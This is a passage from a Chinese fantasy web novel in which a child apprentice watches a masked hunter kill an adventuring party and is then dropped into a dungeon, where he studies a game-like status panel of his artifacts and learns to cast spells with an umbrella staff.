“为什么会养着他?他有什么特别的地方吗……” “去看看不就知道了……” 死气渐渐逼近了孩子,四面八方。那些无形之物似乎想抓住孩子的手臂,握着他的脚踝,甚至是一圈圈地缠绕上孩子娇嫩的脖子。 但是一本会飞的黑色封皮书阻拦了它们的动作。 “去去去!”费德鲁斯在孩子的头顶转来转去,抖着它本就散架的书页,像是赶着恼人的苍蝇——它自己也像只黑色大扑棱蛾子。 “费德爷爷?” “没什么。小塔你记住,在这黑森林里走路要时刻抬头挺胸,绝不能露怯。否则就会有讨人嫌的幽灵来捉弄你。” “好的……”莱塔努力挺起了他的呆毛。他头顶的小兔则偷偷尝了口这根会动的灰灰小苗,又吐出。 黑森林四处灰凉,更远处则总是被阴黑的密林笼着,像是密不透风的铁笼。头顶的天空倒很清澈,赤红的太阳静静悬挂,俯瞰黑森林的一切。 莱塔走在蜿蜒的小路上,很快就感到了无聊。他踢着脚边的石子儿,把蝙蝠伞斜在肩头转圈圈,蝙蝠们被这只小混蛋转出了蚊圈眼。 “费德爷爷,黑森林有哪些好玩的地方呀?” 费德鲁斯没好气回答:“这里可不是给小孩建造的游乐园。” “那这里是用来做什么的?”莱塔好奇。 “……”费德鲁斯不回答。 它默默降落到了孩子胸口前,声音沉下来,却不是对莱塔说话:“维德,这里没有人喊你过来。” 莱塔这才发现,路的尽头立着一个瘦高的黑影。 下一瞬,黑影闪现到了他三步之外的正前方。 8.黑森林 那是一个包裹在黑色套装中的男人。 上身是件敞开的长风衣,挂着件厚重的披风,从肩头散下来几根粗而沉重的银锁链相互交错,松松垮垮甩在身后。他腰间配有同样银质地的附魔猎/枪,带硬甲的膝上长靴将笔挺的皮裤紧紧束缚。 男人一头齐肩的潦草黑发,没有打理。头戴款檐翻边的尖顶帽,下半张脸被面罩遮住,露出的眉眼藏在帽子的阴影下,只隐约看出压得很紧,颇为冷酷。 他只瞥了孩子一眼,便似乎不感兴趣地移开了目光。 维德问费德鲁斯:“就是他?” 费德鲁斯提高声音,已是警告:“这小屁孩细皮嫩肉的,可禁不起你折腾。” “我为什么要折腾这么一个孱弱的小东西?” 他似乎真的只是来看一眼,抬起脚便朝他们身侧借过而去。费德鲁斯仍很怀疑地紧盯着他,至于莱塔则被这位大叔叔身后的锁链吸引,伸长着脖子看,毫无危机感。 维德长手一捞—— 他和某只小孩就消失在了原地,两秒内瞬闪到数百米开外,并继续朝着小木屋的反方向高速移动。 费德鲁斯:……???!!! “喂!喂!这里有人抢小孩啊——”森林响起一只黑皮书愤怒的呐喊。 费德鲁斯气喘吁吁赶到时,他们已在黑森林的边界。维德拿出把比人还高的漆黑巨镰,正游刃有余地宰杀着魔物群。 而莱塔则乖巧坐在树上。 “你……呼……他有没有……呼……欺负你……”一本书发出像是被丢入水池里半死不活的声音。 “没有。他说让我见识一下什么是狩猎。” 这家伙跑小孩面前装什么装。费德鲁斯嘀咕。 莱塔倒是很兴奋地指了指:“费德爷爷,那是什么?好酷啊。”他说的是维德手上凭空变出的武器。 “那是战镰,同样也是法杖。像你这种小孩,肯定以为巫师的法杖就都是一根大木棒,栓个魔晶石,系几根带子对吧……” “什么是法杖?”莱塔仰着小脸又问。 “……” 那人是在哪里把这没见过世面的小土包子捡回来的……难道黑森林外头的巫师已经稀少到如此地步了吗?新出生的小孩连法杖都没听说过? “……咳,所谓法杖,就是巫师施法用的一种媒介。通过镶嵌特殊的魔晶石,可以在持杖施法时强化对魔力的控制,节省魔力的消耗,增强魔法的威力,等等。不同的魔晶石有不同的额外加成。 “在此基础上呢,有些巫师会根据自身需求,对法杖进行改制。比如你看你那个耍酷的维德叔叔,他手上拿着的镰刀形武器,就是一种可以近战的法杖。看到那刀片上亮闪闪的红石头没有?那玩意能吸血,这是把吸血的战镰……” 后面的内容,莱塔都无心去细听了。他眼巴巴望着远处的镰刀看,恨不得亲手上去摸一摸。他觉得世上再没有比这更酷的武器了。 蒙面黑衣男子手握镰刀,在魔物群里库库收割如割草,刀身所过之处,血起血落,统统被饮入利刃之中。近战巫师利落转杖,浑身不留一丝血迹。这一幕深深印在了孩子幼小的心灵上。 我以后也要弄一把!莱塔兴冲冲想。 维德很快就收割完一群顶着螺旋角的肥美长毛魔物。他接下来又娴熟地把它们剃开毛,紫色魔物毛漫天飞舞,可怕的长镰在他手中如同一支袖珍的刮毛器。而后便是粉嫩嫩的肉片,堆积成山,冒着尖尖。 如果不知道这是会吃人的魔物,只看画面估计会被误以为是在杀羊。不,宰羊都没有这么利落的。 莱塔这才意识到,这位看起来生人勿近的大叔叔,似乎就是这些天为他提供新鲜肉类的好心邻居之一。 “费德爷爷,好像只有这附近才有这些小动物耶。”莱塔注意到。 “这里是黑森林的边境。你看那边,树木都不在那里长了。从那开始,便不属于黑森林。”费德鲁斯用它的书页角角,指向远处地上一道亮白色的隐约分割线。 “外界的魔物们时常会闯进来,在这里徘徊。不过更往里走,它们就不敢了。它们本能畏惧着黑森林的气息,毕竟魔物到底也都是活物。” 莱塔这时候没有多想,只以为所谓的分界线,是黑巫师他们布下的结界——用来防外人的。 维德扛着那把巨镰走来。他手中抛过来一块粉白的肉片,肉片在半空中自燃,转瞬烧烤得熟软多汁,等掉下时已是一只成年期的美味烤肉。 烤肉直直掉到了地上,没有人接。 维德:“……” 莱塔:0.0 维德:“……为什么不接着?” 莱塔老实回答:“不可以徒手摸滚烫的东西。” 费德鲁斯也跟腔:“难道你想让我这一把老骨头,拿自己的小身板去当盘子吗?” 维德:“……” 维德默默回去重新拿了块肉过来,这次没有搞花里胡哨的,直接从腰间拿出把小匕首,插着肉仔细翻烤。他将烤好的肉片连同匕首递给孩子。 莱塔犹豫:“这个刀洗过吗?” 维德:“……” 维德看向费德鲁斯:“这小孩一直这么麻烦的吗?” 费德鲁斯咂舌:“要不怎么让你们天天去宰魔物呢。” 维德不吭声了一会儿,才沉声说:“这不是普通匕首,不会沾染上脏东西。” “好的,谢谢你……”小屁孩娇气归娇气,礼貌倒是没有少。 他被烫得吐了吐舌头,才小口小口用前牙扯着肉,费劲了好一会儿才给烤肉造成一个指甲盖大小的轻伤。 见状,维德转身就走。不知是气的,还是彻底对这小屁孩毫无期待了。毕竟某只灰长毛生物左看右看上看下看,都只能用一个词来形容:超弱。 不过很快一人一书便知道了,维德离开的真正理由。 ——有入侵者来了。 一队隐约的人马,从迷雾另一头逐渐逼近,显露身形。黑森林外的人,不像本地的居民习惯了常年的大雾,他们尚且看不清这头有人,只小心而眼瞎地靠拢在一起,缓慢向这边行进。 令人惊讶的是,身为“弱小者”的莱塔,竟然也拥有这诡异迷雾中极为广阔的视野,甚至比另外一蒙面人一黑皮书,都要看得更加清晰。不过没人注意到这点特殊,包括莱塔自己。 入侵者是一个标准的四人小队。打头的拿着把长枪身形勇猛,一看就是莱塔才被科普过的“把法杖改制成近战武器兼用”的那种类型。一左一右两个紧随其后,分别是人头马身的人马射手和普通的持杖巫师。 莱塔在那“射手”双持的弯弓形法杖上多看了几眼,心下感慨法杖的类型还真是多种多样……不过还是他看中的镰刀最酷。 被保护在最末的便是很典型的治疗型巫师了。这人穿着纯白的袍子,颈上与手腕都挂着一看就十分圣洁的魔法饰品。 迷雾中,那项链其中一颗宝石的图案,在莱塔眼里都像他自己的掌纹一般清晰。那是一只白鸽。 巨镰如弯月落下,一身漆黑的维德已经刺入敌方。 转眼,白袍法师倒地,甚至没能发出声音。 队友们恐慌与愤怒的叫声迟迟响起,拿长枪的队长低喝:“保持队形!” …… 艾尔比斯,某城镇,某酒馆,某隔音法阵内的圆桌。 “这个罗盘能为我们在失落迷雾中指向黑森林的精准位置!世上第一个斩杀魔王的小队,就是我们!” 攻破又一个地下迷宫,这次最深层的战利品,是一面缠绕着荆棘纹的锈迹罗盘。罗盘中央有一粒烛火,不点自燃,永远明亮。像是长夜里为人指路的灯火。 队长从鉴定师协会那里获得了这面罗盘的信息。它是凿光者那边的神器,能给人指路——任何目的地。这东西似乎不能为队伍直接增添多少力量。大家都有些失望,毕竟这一趟消耗了不少物资,还损失一个同伴。 不过这份失落并未持续太久。 他们很快想到了那个传说之地:黑森林。 距今两百年前,各教会的英雄们齐聚一堂,组成英勇远征队,对那邪恶的魔王发起了讨伐。整个艾尔比斯的巫师都为这场正义之集结站出来,向各自的神明祈祷胜利。 在那最关键的一战中,狡猾的魔王躲入了他的老巢黑森林。那是一个活体的森林,会随机出现于世上任何一个角落,无法被直接追踪。 十英雄用他们最后的力量布下迷雾,笼罩住整个林子,将魔王与他手下的魔将彻底封印。魔王的势力从此迷失于大雾之中,再不能走出。从此艾尔比斯获得足足两百年的和平。 有人说,魔王没法继续吃人,早已力量衰竭而死。 还有人说,魔王正蠢蠢欲动,试图再为世界落下他残忍的统治。 众说纷纭,不过人们大都倾向于前者。 这些年里,一支又一支冒险队伍踏上征程,试图寻找传说中的黑森林。传言在黑森林的地底,魔王的四位可怕魔将,各自镇守着四座地下城迷宫。每个迷宫都存放有一件死亡与灾厄之邪神的强大神器。 当中最神奇的,甚至能化白骨为活肉,起死回生。 永远有人恐惧死亡。 永远有人贪婪地寻求活着,或是孤注一掷想让某人复活。 追寻黑森林的冒险者一个又一个。 从未有人活着回来——大多还没找到森林就突发意外倒在旅途之中。 “但这次不同了!我们有了这件神器!”这支身经百战、实力不俗的冒险小队说。 “魔将,区区走狗。” “魔王,不足为惧!” …… 最后一个倒地的,是人马射手。 他的四蹄都被那诡异无比的镰刀砍断。他再也无法站起,法杖早已在战斗中被击落至数十米开外。 令人骨头都恐惧震颤的漆黑覆面人,靴子一步步踏来,镰刀尖而弯的阴影已滑到他的眼前。 灰色的迷雾披在人马的身上,似乎在愉快地为他盖上入棺的白布。他又恍惚觉得这东西从开始时就一直在推搡他的灵魂,像是厌恶他们的闯入。 不,不对…… 如果再来一次……如果没有这些阻碍的迷雾…… 人马射手不肯承认自己败了。 他的自尊心让他把失败归咎于这诡异的迷雾,迷雾使他难以发挥他完全的力量。 这分明是封印魔王的神圣力量才对……这些雾气在抵触他们……却对那魔王的手下不施加影响……为什么和传说中不一样……见鬼! 这是人马死前最后的想法。 这是维德一开始就打算向莱塔展示的真正的狩猎。 “最后那个听风者也死了啊。这次还挺弱的,维德竟然连第一段变身都没放出……能够一路来到这里,估计是有什么特殊的神器傍身吧……”费德鲁斯从战斗,不对,从这压倒性的收割之初,就有一搭没一搭地做起解说来。 一小孩一书又退回到了树上。看见小孩蹭蹭蹭就灵巧上树,费德鲁斯当时还挺惊讶。 “费德爷爷,我从刚才就一直想问……”作为一名素质极佳的观众,小莱塔懂得这个时候插嘴,才不算不礼貌。 “你说的那些刮风者什么的,究竟是什么呀?”孩子露出纯真的目光,并且把人家名号都叫错。 黑皮书登时瞪大眼睛,似乎要在孩子白嫩的脸上戳出两个大窟窿——如果黑皮书有眼睛的话。 “……你老师连这个都没教你?!”这可是基础中的基础,在第一堂课就该扫盲的重中之重! 莱塔乖乖摇头。 费德鲁斯大为不解:“那你们整天泡在书房里干什么?” 莱塔掰着手指头数起来:“他教我有关神明的形象和历史……给我放了不死不灭的样子……告诉我仪式的重点在于让神明喜欢你……还给我讲了第四纪、纯白与辉光之神、幸运之神……” 费德鲁斯:“……” 这就好比一个小孩还没学会走路说话呢,这老师就开始教如何造一只比宫殿还高的魔像——还是那种被封禁了相关建造原理的禁忌魔像。 就邪 门! 费德鲁斯语气颇为奇怪地给孩子讲解起来:“行吧,这堂课我给你补上。你知道世上有这么多神明,对吧?那么你走在路上遇到的各种巫师,他们的信仰也就有杂七杂八这么多。但你平日里说话,总不能一直喊人家‘那个死亡与灾厄之神的神徒’、‘那个生命、祝福与纯净之神的神徒’。那得多麻烦!所以啊,干脆给不同神明的神徒取了各自的称呼……如果如今这些称呼还没有变化的话。” 说到最后一句,费德鲁斯的语气有些落寞。不过那点小伤感很快就过去了:“像我们作为死亡与灾厄之神的神徒,便被称为‘赴死者’。躺那边那地上、整天喜欢穿白袍到处炫耀的,生命、祝福与纯净之神的神徒,叫‘求生者’。那个信奉天空与元素之神的人马,就是‘听风者’。剩下两个……” 赴死者。莱塔把自家这个称呼在心底里念了一遍——其他的左耳朵进右耳朵出,一个都没记住。 维德已经收拾好一地入侵者的尸体,不叫他们污染黑森林的环境。他手中一上一下抛着面锈迹罗盘,走到离他们还有几步远的位置,估计是又想直接抛过来。 动作做到一半,也许是想起方才的悲伤烤肉案件,他脚步一顿,又老老实实拿着东西,一步一步走过来,交予还没他腰高的小屁孩。 “喏。” 莱塔怀里被塞入和他脑袋一般大小的罗盘,心音再度浮现。 【不熄罗盘】 【它为你指向任何地方,只要你有一颗勇敢的上路的心。】 费德鲁斯也把它的小书角伸过来,戳了戳这件神器,显然也得知了罗盘的名字。 这本书蓦地僵硬了,如遭雷击,声音发抖,喃喃自语:“不熄罗盘……不熄罗盘……” 他一连重复了两遍,像是不敢相信。 莱塔问:“费德爷爷,你认识这个?” 费德鲁斯沉默了好一会儿,最后只余下一声叹息:“那是辉光与知识之神权柄下的神器。” ……辉光? 莱塔想起他今早才听过的历史故事。纯白与辉光,辉光与知识,这两个神明都有辉光这个指向啊…… 那边费德鲁斯颤抖地用它的书角角继续触碰罗盘。 罗盘没有回应。 “费德爷爷认识这个罗盘吗?”一本书和一个罗盘,听起来像是可以认识。 “……算是吧。” “那费德爷爷,这个给你吧。”莱塔双手举起罗盘。 “你、你知道你在说什么吗?这可是一件神器!”费德鲁斯忽然发起小老头的脾气来,把自己卷成一只书棒,试图敲敲这颗木头脑袋。 孩子捂着头,不知道费德爷爷怎么就生气了。 他头顶的小兔则挺起毛茸茸的胸脯,十分讲义气地用自己小小的身子,守护住孩子大大的脑袋。 “费德爷爷,神器究竟是什么?” “神器,就是神明的器物。每一件都蕴含着和神明有关权柄的力量——听懂了吗?这可是多少人求之不得的好东西,送什么送!” “那……费德爷爷也是神器吗?”莱塔小声说,不清楚可不可以问。 “是。”费德鲁斯倒是大大方方承认了。 “可是费德爷爷会说话。这个罗盘不会。” “有些神器拥有意识,有些没有。”费德鲁斯含糊说。 莱塔明白了:“这个就是没有……” 费德鲁斯下意识纠正:“他曾经有……曾经。但现在已经失去活性,变成了一件普通的器物。” 它用的是“他”而非“它”。 莱塔彻底明白了,他最后把小手掌放在费德鲁斯的身上,轻轻摁了又摁:“……咦?” “干什么!”费德鲁斯拿书页拍了几下孩子的手背。 “为什么摸费德爷爷,没有出现那种会飘在心里的描述?” “没礼貌!我还活着呢!那都是失去活性的死物才会自动弹出!”费德鲁斯这回有经验了,先飞快把小孩头上那只毛球扫走,然后一连敲击孩子的脑袋好几下。 “哦……费德爷爷,你再敲我的脑袋,我会变笨的。” “哼,这颗笨脑袋已经没有下降空间了。” “我会向老师告状。” “……告状精!”这小屁孩怎么在这种时候这么机灵! 一人一书说话间,维德已经将先前片好的魔物肉还有剃下的毛都打包好。他拖着个不知从哪变出来的大货车,朝来时路扬下巴:“走吧。” 回去的路好像和来时不一样,可能是近路吧。莱塔想。 他脑海里还回味着方才的画面。作为一个看起来五六岁、但据说有八岁的孩子,他竟然没有一丝心理阴影。 “费德爷爷,他们为什么想要攻击我们?” “因为他们想来挖宝。” “挖宝?” “你老师没和你说么?这黑森林地下啊,可是足足有四座地下城迷宫呢。每一个都藏着一件死亡与灾厄之神的神器……” 莱塔默默听着。 他发现除了他的导师,其他人好像都不称呼不死不灭的名字。而他……呃,反正后来黑巫师也没再提醒这个问题了。 迷宫啊……听起来很好玩的样子。 他有些向往地问:“那我也可以下去看看吗?” “你?哼……”费德鲁斯大概是想说些小屁孩不知天高地厚的话。 这时在前头带路的维德突兀停了下来:“到了。” 到了?可这里不是家呀。 莱塔东张西望。他们仍旧在林子里,也仍旧不是走过的任何地方。前方倒是有一口洞穴,入口斜向上开着,像个黑漆漆的吃人的裂嘴。 费德鲁斯以为维德是好心满足小屁孩看一眼的心愿:“这里就是其中一座地下城的入口了。小塔啊不是我要打击你,像你这样乳臭未干的小孩,估计过个十年都……” 费德鲁斯的话戛然而止。 在它面前,维德拎着小孩的后领子,把对方像小鸡仔一样提起,悬到洞穴的正上方。 扔了进去。 9.地下城 ……诶? 诶???!!! 莱塔在高速坠落中很快冷静下来。他翻转身体撑开那柄蝙蝠枯叶伞,四只圆滚滚的小蝙蝠努力扑棱翅膀,以向上的阻力减缓这份恐怖的下坠。 无光的笔直隧道,令莱塔联想到壁炉上的烟囱,又像是大地的喉管。莱塔觉得自己说不准真的被一口吞掉了。提灯在一开始就脱手掉到不知何处,只剩下蝙蝠伞自带的微弱光火,照亮四周,却也让莱塔一颗心愈发沉下去。 没有任何植物,也没有微小的生物,这只是一个无底的洞。 而他还在掉落。 就在莱塔怀疑自己今后都要保持这份下落的姿态时,他终于落地了。屁股着地,摔得有点小痛,不过问题不大。他揉着自己的小屁股,紧绷小脸想。 也就在这时,一种奇异的光景铺满了莱塔的整个视野。小家伙吓了一跳,后退两步又被自己绊倒在地。这回屁股倒不痛,地上还挺软弹。他伸手一摸,是他可怜的已经摔成两半的提灯。 萤火虫一样的光点已经不剩一只。皱巴巴的看上去已经死掉的几朵小花,无力地散了一地。原来它们就是提灯的光源。 但这些不是莱塔当前需要注意的东西。 他眯起眼睛,努力辨认眼前那些光怪陆离的东西。那像是某种吃了毒蘑菇后产生的幻觉,泡泡一般地漂浮在视网膜上,无论看向哪里,都不会消失。 可怜的莱塔,他并没有接触过这样的事物。 如果这是某些神奇的拥有穿越要素的异世界故事,或许那些时髦的穿越者们能够回答他吧。 那是在某些与这个世界相似却又完全不一样的地方,十分常见的东西。在异世界的人们口中,他们称其为—— 游戏面板。 “小塔——”活书费德鲁斯声撕裂肺的喊声从头顶砸下。 而后才是费德鲁斯本尊狠狠俯冲到地上,砰地一声。 “哎呦,都说了至少在这个拐角放盏灯不行吗……”费德鲁斯拿书页搓了搓自己的书脊角,嘟嘟囔囔。 “费德爷爷?你也被扔下来了吗?” “什么啊,我是来看着你的。那维德真是心狠手辣,竟然忍心把你直接丢下来……你要是当场摔断腿了怎么办!”费德鲁斯说着围着莱塔转了一圈,“还好还好,还能站起来。身上有没有哪里疼?” “没有。这些小蝙蝠帮助了我。”莱塔捏了捏伞上的蝙蝠挂坠,小蝙蝠舒服地蹭蹭他,“说起来,费德爷爷,你有没有看到奇怪的东西?” “奇怪的东西?” “就是……”莱塔向费德鲁斯比划起来。 “哦,这个是正常的。只要进入地下城,巫师们眼前都会浮现这种东西。你要是嫌它挡视线,还能随时调布局呢。我教你隐藏一些图标,再加一些快捷符号和手势……” 经过费德鲁斯的一通教学讲解,莱塔已经初步掌握了这份“面板”的全部。他细细翻看起那个叫“个人界面”的东西。 【基础信息】 【姓名:莱塔】 【性别:男】 【年龄:8岁】 【称号:屁股着地掉入地下城者】 【信仰:死亡与灾厄之神】 【信仰等级:1级(神徒)】 【攻破地下城数:0】 【无限迷宫最深抵达层数:0】 ……这个“屁股着地掉入地下城者”是什么?是他的错觉吗?他怎么觉得自己被嘲笑了? 莱塔皱着小眉头思索了一会儿……大概是多心了,也许每个巫师最开始都会领到这样的称呼吧。 【状态与属性】 【生命:29/30】 【魔力:40/40】 【体力:18/20】 【饥饿:15/20】 【攻击:1】 【防御:3】 【速度:80】 【魅力:82】 【幸运:80】 状态栏的数值莱塔都看不懂好坏,不知道这算多还是少。 “速魅幸”这组倒是都挺高的,可能普通人在这几个上的基础数值都是这样吧。看来不同属性的数字大小含金量不同。 ……不过,那小小的“攻击1防御3”是什么?怎么看都不对劲吧! 莱塔的小脑瓜亮起警铃。 也许他现在的战力,就和那些味道肥美的螺旋角长毛魔物差不多呢。还有很大进步空间!孩子十分开朗地自嘲着。 ——他不知道这份攻防数值其实可以和头上的小兔打得有来有回。 “咦,饥饿值和体力值不满很好理解,但是为什么生命值掉了一格?”莱塔注意到这么个小细节。 他点开费德鲁斯教他的“日志”。 【日志】 【你进入了:嗜血黑镰狂战迷宫。】 【该区域为死亡与灾厄之神的地下神国。】 【你的屁股遭到了大地的攻击。生命-1。】 【你获得了称号:屁股着地掉入地下城者。】 莱塔:“……” 他脸红红地飞快退出日志界面,并不想和某个称号继续对视下去。小孩故作不在意,继续往下看他的个人面板。 【装备与携带】 【武器】 【蝙蝠伞(优质)】 【攻击+1】 【*它显然不是一把锐利的武器,当盾牌也未免自欺欺人,更没人会把它作为法杖使用……什么,难道真的有?】 【防具】 【上身:手工黑袍(优质)】 【防御+1】 【*平平无奇的手工织物,似乎蕴含着制作人的关爱。】 【下身:手工内裤(优质)】 【防御+1】 【*平平无奇的手工织物,似乎蕴含着制作人的关爱。】 【脚部:手工短靴(优质)】 【防御+1】 【*平平无奇的手工织物,似乎蕴含着制作人的关爱。】 【套装加成:黑巫师的关爱】 【魅力+1】 【*虽然它们看起来平平无奇,但有人爱你。】 莱塔着实没想到,身上穿的这些普通衣服竟然也可以算作防具,一本正经地增加防御值。而且……黑巫师的关爱? 莱塔有点不好意思地摸了摸脸,心想自己可真是一个受人喜爱的小孩。 他继续往下翻看。 【饰品】 【头部:可爱兔兔(优质)】 【魅力+1】 【*小兔没法让你变得强大,但小兔能让你看起来很可爱。】 【腰部:幸运猫尾(神器)】 【幸运+50,魔力+10,速度+10,魅力+10】 【蕴含着幸运之神的力量。】 【该神器有特殊的能力尚未鉴定。】 【*你会随身携带它的,对吧?】 【道具】 【时空之碑(神器)】 【速度+50,生命+10,魅力+10,幸运+10】 【蕴含着???的力量。】 【该神器可使你进入时空漫游;地下城内特殊触发:该神器可使你遭遇死亡时进行时间重置,回到进入地下城初始时刻。】 【*你总是来去自如,就像回家一样。】 【不熄罗盘(神器)】 【速度+10,魅力+10,幸运+10】 【蕴含着辉光与知识之神的力量。】 【该神器有特殊的能力尚未鉴定。】 【*它为你指向任何地方,只要你有一颗勇敢的上路的心。】 【****(神器)】 【魅力+50,魔力+10,速度+10,幸运+10】 【蕴含着???的力量。】 【该神器有特殊的能力暂未激活。】 【*你看见了那一切,过去,现在,未来,所有既定的与尚未存在的,你见万千之一。】 翻完这一切,莱塔冷静叹了口气。 “费德爷爷。” 费德鲁斯:“怎么啦?哪里有问题吗?” “我想我大概就是传说里唱的那种人物——天之骄子。没错,就是这个。”小孩深沉地感慨。 “……”这小孩是不是有点自恋。 莱塔又美美地把这堆数字和描述足足看上了三遍。他禁不住想:天呐,他刚学会如何打开面板,就已经有了足足四件神器!四件! 虽然最后这多出来的不知道是什么,名字也看不见。 至于神器的珍稀之处,莱塔已经通过对比深刻知晓了。看看,他的小蝙蝠伞只能为他提供“攻击+1”,一身黑巫师套装加起来也只有“防御+3魅力+1”。 而一件神器,哪怕是看起来好像最弱的罗盘,都能为他带来三个属性分别十个点的加成。 他有些意外的是,兔兔竟然也算饰品……不愧是他最可爱的饼干。虽然也不知道这个魅力值在战斗中有什么用。 面板为莱塔带来的疑惑还有很多。 比如为什么他身上会有一件看不见也摸不着、更不知从何而来的神器。这神器甚至连名字都被模糊掉了。 比如时空之碑和某不知名神器,在所属神明一栏都打上了“???”。明明同样作为神器,猫尾和罗盘就直接显示分别隶属于幸运,辉光与知识之神。 再比如,原来昨晚的那件石碑如今还在他身上……至少面板是这么显示的。然而他看不见,摸不着,小小的身子更是不可能背着石碑的重量轻松到处跑。 其他的就都是些小小的细节了。 莱塔注意到猫尾、石碑、无名神器的名字比其他字眼更为闪亮,像是加上了特别的星光效果。罗盘就没有这个待遇。他暂时也不清楚原理。 以及猫尾和罗盘在特殊能力那一栏里都显示“尚未鉴定”——这和黑巫师所告诉过他的一样,得找相应神明的神使帮忙。而无名神器则是独独的“暂未激活”。 当然,这一切都不那么重要。 让莱塔兴奋不已、得瑟不已、呆毛几乎要翘到天上去的,还得是时空之碑的能力描述:时空漫游,死亡重置(地下城内限定)。 拜托,这和无敌有什么区别? 嘿嘿~(?′?`?) 莱塔向耐心等在一旁的费德爷爷真心感慨:“好厉害呀。费德爷爷也能看见我眼前这些东西吗?” 费德鲁斯继续给小文盲扫盲:“基础信息可以自己选择公开或隐藏,随时切换,默认隐藏。一般来说,剩下的信息则只有巫师自己能看。但是么,实力碾压的强大巫师,能看比他弱小巫师的攻击力与防御力;组队期间,队友能直接翻彼此的基础信息和状态栏;除此以外,捡尸的时候则可以看掉落的和死人身上没毁损的装备……” “这些东西是谁做的?”好复杂啊。 费德鲁斯感到奇怪地回答:“这是自古以来就有的东西啊。” “自古以来?” “对。从人类出现于艾尔 比斯开始,从第一位巫师诞生开始,身负神之力量的人进入地下城,就会得到这些信息。这是神明的统一赐福。” “那具体是哪位神明的赐福?如果是大家商量好一起赐的话,不是说神明之间也有矛盾吗?它们是怎么协商好一致的标准的?”好奇宝宝继续追问。 “……问这么多做什么?你做好探索准备了吗?我可告诉你,今天维德是铁了心要试炼你,你哭破喉咙都没人救你的……” 懂了,费德爷爷也不清楚。 莱塔已经隐隐意识到了,他家导师知道的东西比很多人都要多。回去再问黑巫师好了。 贴心的小莱塔没有戳破老人家尴尬的转移话题行为,他借着蝙蝠伞上的灯亮,抿紧小嘴开始朝四周探路。 老实说,莱塔并不害怕,甚至还很兴奋。哪怕没有那四样神器,他也仍会兴致勃勃。他出来玩就是想要遇到这样刺激的事情。 费德鲁斯却以为小孩真吓着了,便放软声音安慰着:“好啦,也没那么严重。你好歹是那人的学徒。真要出了事,维德不敢不管你的。今天他估计只是想吓吓你。你要是真哭了,他肯定跳出来把你带出去……” 莱塔已进入冒险状态,费德爷爷的咕叽咕叽在他耳里和环境风声没什么区别。他差不多将坠落的这块小地方都踩了个遍,脑海里勾勒出它的大小。 这是一个“小厅”,大约是他们家小木屋的占地面积的一半。没什么敌人或是陷阱,路很平,像是专门给人整顿休息的营地。可惜他什么背包行李都没有,甚至无法就地搭个临时火堆。 莱塔给它起名叫初始厅。 从初始厅再往深处走,便是一左一右两条窄路,左边黑黝黝,右边亮着奇异的绿光,各自同时只能容一人通过。莱塔谨慎着没有直接进去。他原地清点了下自己的行囊。 一只蝙蝠伞,这是他现阶段唯一的武器。面板上的介绍给了他灵感,或许他真的可以把它当法杖使用呢? 莱塔问起仍在那咕叽不停的费德爷爷:“费德爷爷,你可以教我怎么使用法杖吗?” “可恶的维德,邪恶的维德,冷漠无情的维德……啊?我教你?你确定?一般这可是亲传导师的活。”费德鲁斯的声音含着明显的惊愕。 “我确定。拜托你了,费德爷爷。” 莱塔怀疑在他的导师眼里,用法杖就和用刀叉一样,都是小婴儿呱呱落地就该自动掌握的本领。他估计他导师这辈子都没想过,使用法杖还需要人教。 ——他的怀疑是对的。 “行吧。”费德鲁斯表现得有点不情不愿,似乎很为难。 大概只有这个小老头自己知道,它心里面美极了。 嘿嘿,它还从没有拥有过自己的小学徒呢。 “咳咳,小塔,你看见那杖内部顶上的魔晶石了么?那块魔晶石支撑了整个伞的构造,并持续不断为这些蝙蝠外形的魔法造物提供能源。有杖,有优质魔晶石,这——便是一把合格的法杖。当然,它不那么优秀,但对于第一次学习使用法杖的你而言,勉强够用了。需要注意的是……” 费德鲁斯的教学风格显然也比黑巫师耐心且细心许多……就是很啰嗦。莱塔想。不过莱塔肯定不会说出来,以免费德爷爷伤心。 他用这柄蝙蝠杖放出了第一颗水球,伞尖辅助瞄准。 费德鲁斯哗啦啦地用书页在一旁鼓掌。 他又放出来一串,水球击打在墙壁上,一笔一笔地画出简笔的图画。 费德鲁斯啪啪啪地鼓大掌。 当孩子成功用蝙蝠伞施展出第一个法术,他的个人面板上某条武器信息已悄悄变动。 【武器】 【蝙蝠杖(优质)】 【攻击+3】 【它当然是一把法杖了,小蝙蝠们已经做好了为你战斗的准备。】 攻击力俨然上调了两个点。 【攻击:3】 【防御:3】 莱塔没有注意,只是托着下巴一个人若有所思。用法杖施法,确实比徒手的启动更快,也更稳。就是灵敏度有点过高,心念稍微偏移一点,法术的落地位置和大小就千差万别。 “很不错!小塔很聪明啊!” “嗯。” 面对夸奖莱塔一点也不害羞,他按照费德鲁斯的指点逐一摸索着法杖的各种手持方式。世上99%的小巫师,乃至成熟的大巫师,都没有去注意过这点小细节。然而实战中,就是一点一滴的细微,堆积起来决定最后的成败。 费德爷爷也是位很智慧的老者啊。莱塔想。 “费德爷爷明明只是一本书,却好像真的用过法杖一样。” “……哼。”小老头又不说话了。 准备就位。莱塔动身朝前路走。 他凭直觉选择了发着绿光的那条路,没有犹豫。 “对了,小塔,我刚才忘记问了……” “什么,费德爷爷?” “你在墙上用水弹画的是什么啊?长得有点像魔物,好像在哪里见过。是你下顿想吃的菜吗?” “是老师啊。他的长发可难画了呢。” “……哦哦。” …… 黑森林,小木屋中。 一名黑巫师坐在窗边,手中捧着本书,翻页的速度却比往常慢下许多。他偶尔抬起头,朝着林子某个方向看一眼,又淡淡垂下眼。 一大盘金灿飘香的鱼肉烩饭静静躺在餐桌上,里头裹着焦脆有嚼劲的各色坚果,配着一碗热腾腾的炖肉红果汤,迟迟没有等来享用它的人。 10.首战与宝箱 在地下城最重要的是什么? A.摸最短路线速通找到下一层的入口 B.撞最多的敌袭,打最多的怪,整·层·踏·平 C.嘿嘿嘿嘿捡垃圾 莱塔毫不犹豫选择了C。 这个明明看起来漂亮、可爱、气质十分优雅的孩子,见到满地的神奇妙妙小宝贝,却简直像是掉入米缸里的小老鼠。他沿路撅着屁股捡啊捡,手不够用了就牵起衣角拿袍子兜着,所过之处无不干净光秃。 不知有什么用处的各式药水瓶,不知有什么用处的各式魔法卷轴,不知有什么用处的各式药草、水晶,不知有什么用处的各式真·垃圾:空酒瓶,破了的老鼠干玩具,开缝的一只凉鞋,碎成一半的碗…… ——地下城最好的清洁工来了。 费德鲁斯从最开始的震惊,到困惑,再到恨铁不成钢,现如今过了将近半个小时,已是麻木且顺从。 它也不是没提醒过。 “小塔……” “怎么啦费德爷爷……”这个小棍棍好光滑笔直,喜欢。 “地下城里真正有价值的不是这些。” 